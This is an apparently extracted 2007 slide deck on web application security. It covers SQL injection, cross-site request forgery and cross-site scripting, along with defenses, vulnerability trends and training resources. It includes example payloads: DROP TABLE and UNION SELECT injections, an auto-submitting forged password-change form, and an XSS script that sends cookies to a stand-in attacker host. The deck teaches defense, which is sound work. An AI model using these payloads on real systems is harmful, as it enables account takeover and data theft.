Transcript Document
“Emerging Security Vulnerabilities
&
the Impact to Business”
Neil Daswani
October 2007
http://www.neildaswani.com/
Is the sky falling?
• TJX (March 2007)
– owns TJ Maxx, Marshalls, and other dept stores
– attacks exploited WEP used at branches
– over 47 million credit card (CC) #s dating back to 2002
• CardSystems (June 2005)
– credit card payment processing company: out of business
– 263,000 CC #s stolen from database via SQL Injection
– 43 million CC #s stored unencrypted / compromised
• Enter “sql injection” on news.google.com for more...
• Additional Data Theft:
www.privacyrights.org/ar/ChronDataBreaches.htm
(153M compromised records; over 300 incidents in 2006 alone)
Overview
• High-Impact Threats & Defenses:
SQL Injection and XSRF
• Vulnerability Trends
• Where To Learn More:
Courses/Certifications, Books,
Websites
SQL Injection Example
Web
Browser
(Client)
Enter
Username
&
Password
Web
Server
SELECT passwd
FROM USERS
WHERE uname
IS ‘smith’
Normal Query
DB
SQL Injection Example
Attacker Provides This Input
SQL Injection Example
Malicious Query
Web
Browser
(Client)
Enter
Username
&
Password
Web
Server
SELECT passwd
FROM USERS
WHERE uname
IS ‘’; DROP TABLE
USERS; -- '
DB
Eliminates all user
accounts
SQL Injection Example
View pizza order history:<br>
<form method="post" action="...">
Month
<select>
<option name="month" value="1">
Jan
</option>
...
<option name="month" value="12">
Dec
</option>
</select>
<p>
<input type=submit name=submit
value=View>
</form>
SQL Injection Example
Normal
SQL
Query
Type 2
Attack
SELECT pizza, toppings, quantity,
order_day
FROM orders
WHERE userid=4123
AND order_month=10
For order_month parameter, attacker could
input
0 OR 1=1
<option name="month" value=“0 OR 1=1">Dec</option>
Malicious
Query
WHERE condition
is always true!
Gives attacker access
to other users’
private data!
…
WHERE userid=4123
AND order_month=0 OR 1=1
SQL Injection Example
All User Data
Compromised
SQL Injection Example
A more damaging breach of user
privacy:
For order_month parameter, attacker could input
0 AND 1=0
UNION SELECT cardholder, number,
exp_month, exp_year
FROM creditcards
Attacker is able to
– Combine the results of two queries
– Empty table from first query with the sensitive credit card
info of all users from second query
SQL Injection Example
Credit Card Info
Compromised
SQL Injection Trends
300
275
250
225
Number of reports
200
175
SQLInjection
150
125
100
75
50
25
0
1st-half 2004
1st-half 2005
1st-half 2006
1st-half 2007
Year
Source: securityfocus vulnerability database
Preventing SQL Injection
• Whitelisting
– Why? Blacklisting chars doesn’t work:
• Forget to filter out some characters
• Could prevent valid input (e.g. username O’Brien)
– Allow well-defined set of safe values:
[A-Za-z0-9]*
[0-1][0-9]
– Valid input set implicitly defined through regular
expressions
• Escaping
– For valid string inputs like username o’connor,
use escape characters. Ex: escape(o’connor) = o’’connor
(only works for string inputs)
Prepared Statements
& Bind Variables
PreparedStatement ps =
db.prepareStatement(
"SELECT pizza, toppings, quantity, order_day “ +
"FROM orders WHERE userid=? AND order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParamenter("month")));
ResultSet res = ps.executeQuery();
Bind Variables:
Data Placeholders
• query parsed w/o parameters
• bind variables are typed e.g. int, string, etc…*
Additional Mitigations
What else helps?
• Limit Privileges (Defense-in-Depth)
• Harden DB Server and Host OS
What doesn’t?
• Encrypt Sensitive Data stored in Database
What else do I need to learn about SQL
Injection?
• Second Order SQL Injection
• Blind SQL Injection
Threats
• Unvalidated Input
– SQL Injection
– Cross-Site-Scripting (XSS)
• Design Errors
– Cross-Site-Request-Forgery (XSRF)
• Boundary Conditions
• Exception Handling
• Access Validation
XSRF
Alice is using our (“good”) webapplication:
www.bank.com
(assume user is logged in w/ cookie)
At the same time (i.e. same browser
session), she’s also visiting a
“malicious” web-application:
www.evil.org
How XSRF Works
Alice
bank.com
/login.html
/auth
uname=victim&pass=fmd9032
Cookie: sessionid=40a4c04de
/viewbalance
Cookie: sessionid=40a4c04de
“Your balance is $X”
How XSRF Works
Alice
bank.com
evil.org
/login.html
/auth
uname=victim&pass=fmd9032
Cookie: sessionid=40a4c04de
/evil.html
<IMG SRC=“http://bank.com/paybill?addr=123%20evil%20st&amt=$10000”>
/paybill
addr=123 evil st, amt=$10000
Cookie: sessionid=40a4c04de
“OK. Payment Sent!”
More XSRF
Malicious site can initiate HTTP requests to our
app on Alice’s behalf, w/o her knowledge
– authentication cookies stored in browser
cache are sent to our server regardless of
who made the request
Another Example:
change password feature on our app
(“update_password”)
– Hacker site could execute a script to send a
fake password-change request
– authenticates b/c cookies are sent
More XSRF
1. Alice’s browser loads page from www.evil.org
2. Evil Script runs causing evilform to be submitted with a
password-change request to our “good” form:
www.bank.com/update_password with a
<input type="password" id="password"> field
evilform
<form method="POST" name="evilform“ target="hiddenframe"
action="https://www.bank.com/update_password">
<input type="hidden" id="password" value="evilhax0r">
</form>
<!– hiddenframe IFRAME here -->
<script>document.evilform.submit();</script>
3. Browser sends authentication cookies to our app. We’re hoodwinked into
thinking the request is from Alice. Her password is changed to evilhax0r!
XSRF: Write-only
Malicious site can’t read info, but can make write
requests to our app!
Can still cause damage
– in Alice’s case, attacker gained control of her
account with full read/write access!
Who should worry about XSRF?
– apps w/ user info, profiles (e.g., Facebook)
– apps that do financial transactions for users
– any app that stores user data
Yet Another XSRF:
Home Routers [SRJ’07]
•Fact:
– 50% of home users use a broadband router with a
default or no password
•Drive-by Pharming attack:
User visits malicious site
– JavaScript at site scans home network looking for broadband
router:
• Same-Origin-Policy allows “send only” messages
• Detect success using onerror:
•
<IMG SRC=192.168.0.1 onerror = do() >
– Once found, login to router and change DNS server
•Problem: “send-only” access is sufficient to reprogram
router
Preventing XSRF
Inspecting Referer Headers
– specifies the document originating the request
– ok, but not practical since it could be forged or
blanked (even by legitimate users)
Validation via User-Provided Secret
– ask for current password for important
transactions
Validation via Action Token
– add special tokens to “genuine” forms to
distinguish them from “forged” forms
Vulernability Trends
(Overall/MITRE)
1300
XSS
Buffer Overflow
SQL Injection
PHP Include
DoS
1200
1100
1000
900
800
700
600
500
400
300
200
100
0
2001
2006
Overall Trends
• Attacks are increasing
• Big four are about the same
(regardless of vuln database):
– Cross-Site-Scripting (XSS, XSRF, XSSI)
– Injection (SQL, PHP-includes)
– Memory Corruption (buffer overflows,
integer overflows, format strings, etc)
– Denial-of-Service
What should I do?
•
•
•
•
Engineers
Developers
Programmers
Architects
1) Arm yourself!
2) Elect a security czar for each project
What Every Engineer
Needs To Know...
• Secure Design: least privilege, fail-safe
stance, weakest link, etc.
●
Technical Flaws:
●
Attacks:
–
XSS / XSRF / XSSI
–
Data Theft
–
Injection / Remote
Code Execution
–
Authentication /
Authorization Bypass
–
Directory Traversal
–
Denial-of-Service
–
Race Conditions (e.g.,
TOCTOU)
–
Privilege Escalation
–
Information Leakage
–
Memory Corruption
Where to learn more?
•
•
•
•
Courses
Certification Programs
Books
Websites
(not comprehensive)
Security Courses
• Cryptography Upper Division Courses
(at almost every major university)
• Some systems security courses
(e.g., CS155 @ Stanford,
CS161 @ UC Berkeley)
• More crypto and security courses listed at:
http://avirubin.com/courses.html
Stanford Advanced
Security Certificate
• Online (anytime) or On-Campus (one week)
• Required: 3 core courses; 3 electives
• Hands-on labs conducting attacks &
constructing defenses
• Security Foundations Certificate also
available
• http://proed.stanford.edu/?advancedsecurity
to sign up!
Stanford Advanced
Security Certificate
• CORE COURSES
– Using Cryptography Correctly
– Writing Secure Code
– Security Protocols
• ELECTIVES
– Computer Security Management – Recent Threats, Trends & the
Law
– Designing/Building Secure Networks
– Emerging Threats and Defenses
– Securing Web Applications
– Systems Security
• SPECIAL ELECTIVE
– Computer Security Foundations Certificate
Other Security
Certification Programs
• CISSP (offered by ISC2)
– prepares for administration / gov't jobs in security
– credential can be used for PCI compliance
– multiple-choice test
• GIAC Secure Software Programmer
(offered by SANS)
– secure programming assessment
– multiple choice (questions in development)
– new offering: first exam was Aug 2007
Books
• Foundations of Security:
What Every Programmer
Needs To Know
(Daswani / Kern / Kesavan)
• Security Engineering (Anderson)
• Building Secure Software
(Viega / McGraw)
• Secure Programming Cookbook
(Viega / Messier)
Security Books
• Security Engineering
• Ross Anderson
• Available online
(for free)
• http://www.cl.cam.ac.uk/~rja14/book.html
Security Books
• Building Secure Software
• Viega / McGraw
“Classic Text”
• Other books by
McGraw & Co:
- Exploiting Software
- Software Security
Security Books
• Foundations of Security:
What Every Programmer
Needs To Know
• Daswani / Kern / Kesavan
• Get your copy from
B46-Anare or B46-284
• Topics:
– Secure design principles
– Web application
attacks & defenses
– Intro. to Cryptography
• Free slides @ www.learnsecurity.com
Security Books
• Secure Programming Cookbook
for C and C++
• Viega / Messier
• Lots of code examples
on how to use crypto
correctly
Websites
• OWASP / Top Ten
www.owasp.org
(chapters in almost every major city)
• Security Focus / Bugtraq
www.securityfocus.com
• code.google.com/edu
OWASP Top 10
2004
●
●
●
●
●
●
●
●
●
●
2007
• A1 Cross Site Scripting (XSS)
• A2 Injection Flaws (e.g., SQL
A2 Broken Access Control
injection)
A3 Broken Authentication / Session Mg
• A3 Malicious File Execution (i.e.,
A4 Cross Site Scripting
PHP)
A5 Buffer Overflow
• A4 Insecure Direct Object Reference
• A5 Cross Site Request Forgery
A6 Injection Flaws
(CSRF)
• A6 Information Leakage and Improper
A7 Improper Error Handling
Error Handling
A8 Insecure Storage
• A7 Broken Authentication / Session
A9 Application Denial of Service
Mg
A10 Insecure Configuration Management • A8 Insecure Cryptographic Storage
• A9 Insecure Communications
• A10 Failure to Restrict URL Access
A1 Unvalidated Input
Security Focus
• www.securityfocus.com / Home of Bugtraq
• Articles / Mailing Lists / Vuln. Reports
• Focus areas:
– Foundations
– Microsoft / Unix
– IDS
– Incident Response
– Viruses / Malware
– Penetration Testing
– Firewalls
code.google.com/edu:
Web Security
• Free & available for external use
• Ex. DoS against web server
What should I do?
• Managers
(Project, Product, Directors, CIOs,
CTOs, etc)
1) Organize to achieve security
2) Modify dev lifecycle as necessary
3) Invest in security training
Organizing...
Authority
Gatekeepers
Satellites
Advisors
Centralization
Gatekeepers
• Centralized Security Department with Approval Authority
• Security Dept accountable for every line of deployed code,
and must provide explicit approval for every deployment.
• Pros:
– High level of accountability
– Tight control
• Cons:
–
–
–
–
Scalability
Could stifle innovation
Bottleneck
Development might become tight-lipped
(or work-around security)
Advisors
• Security Consulting Department with Escalation
Authority
• Security Department provides feedback to product
teams when requested, or can actively “probe”
• Pros
– More openness to share risks
• Cons
– Less accountability
– Frequent escalation will de-sensitize executives
Satellites
• Decentralized Security Staff / “Virtual” Department
• Put developers with security expertise on the
product teams. Rotate if necessary.
• Or, train one of the developers on each product
team to be “security czar.”
• Pros
– Security recommendations more likely to be
implemented
• Cons
– Less flexibility in moving security engineers to
most high risk projects fast.
What should I do?
• Every engineer should be a software
security practitioner
• Every manager should organize and invest
in security
• Links / Pointers:
http://www.learnsecurity.com/
Click on “Resources”
• Neil Daswani
[email protected]
http://www.neildaswani.com
Last Remarks
• Interested in jobs?
(software security, botnets, ...)
• Items in the back:
– Free books
– Stanford Security Certification Brochures
– Need security help / consulting?
Backup Slides Follow
Cross-Site Scripting (XSS)
What if attacker can get a malicious script to be executed in
our application?
http://deliver-me-pizza.com/submit_order?
addr=123mainst
<input type=text name=addr value=123mainst>
Ex: our app could have a query parameter in the URL and
print it out on page
– Suppose input data is not filtered
– Attacker could inject a malicious script!
Other Sources of Untrusted Data
– HTML form fields
– URL path (e.g. in a Document Not Found error)
XSS Example
1. Attacker tricks Alice into visiting his page.
2. Page loads URL of query to our app with this parameter injected:
http://deliver-me-pizza.com/submit_order?addr=
%3D%20%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C
/script%3E%0A
printed on our HTML source
translates
<script>alert(document.cookie);</script>
3. Any arbitrary script attacker chooses, can be executed on our
application site!
How much damage can
the malicious script cause?
XSS Exploits
Stealing Cookies
– the malicious script could cause the browser to
send attacker all cookies for our app’s domain.
Ex:
"><script>i=new Image();
i.src='http://www.hacker.com/sendmail.php?
[email protected]&payload='+document.cookie;
</script>
– gives attacker full access to Alice’s session
Scripting the Vulnerable App
– complex script with specific goal
– e.g. get personal user info, transfer funds, etc…
– doesn’t have to make a direct attack, revealing
his IP address, harder to trace
Mitigating XSS
Input Validation
– XSS is not just a input validation problem
– strings with HTML metachars not a problem until they’re
displayed on the webpage
– might be valid elsewhere, e.g. in a database
Output Sanitization
– check strings as they’re inserted into HTML doc
HTML Escaping
– escape some chars with their literals
– e.g. & = & < = < > = &rt; “ = "
HTTP-Only Cookies
– HTTPOnly attribute on cookie in IE prevents it from being
exposed to client-side scripts
– can prevent traditional session hijacking
– incomplete protection
Cross-Domain Security
Domain: where our applications and services are hosted
Same-Origin-Policy (SOP): script is only allowed to
connect back to the origin (domain,port,protocol) from
which it was served
Cross-domain: security threats due to interactions
between our applications and pages on other domains
Vulnerability Trends
(OS Vendors/MITRE)
220
200
180
160
140
120
100
Buffer Overflow
Symbolic Link
DoS
XSS
Integer Overflow
80
60
40
20
0
2001
2006
Vulnerabilities Stats
●
• Disclaimer on
Categorization
1st-half 2007
●
• Input Validation
1st-half 2007
1st-half 2006
1304
1294
• Design Errors
295
213
Exception Handling
1st-half 2007
1st-half 2006
●
1st-half 2007
1st-half 2006
Boundary Conditions
206
110
Access Validation
1st-half 2007
1st-half 2006
87
97
source: securityfocus vulnerability database
Recent Vulnerability Trends
1st-half 2006
1st-half 2007
500
450
400
Number of Reports
350
300
250
200
150
100
50
0
SQL Injection
Cross-Site
Scripting
Denial of
Service
Buffer Overflows
Vulnera
bility T
ype
source:
securityfocus
vulnerability database
Prepared Statements &
Bind Variables
Metacharacters (e.g. ‘) in queries provide distinction
between data & control
Most attacks: data interpreted as control /
alters the semantics of a query/cmd
Bind Variables: ? placeholders guaranteed to be data (not
control)
Prepared Statements allow creation of static queries with
bind variables → preserves the structure of intended
query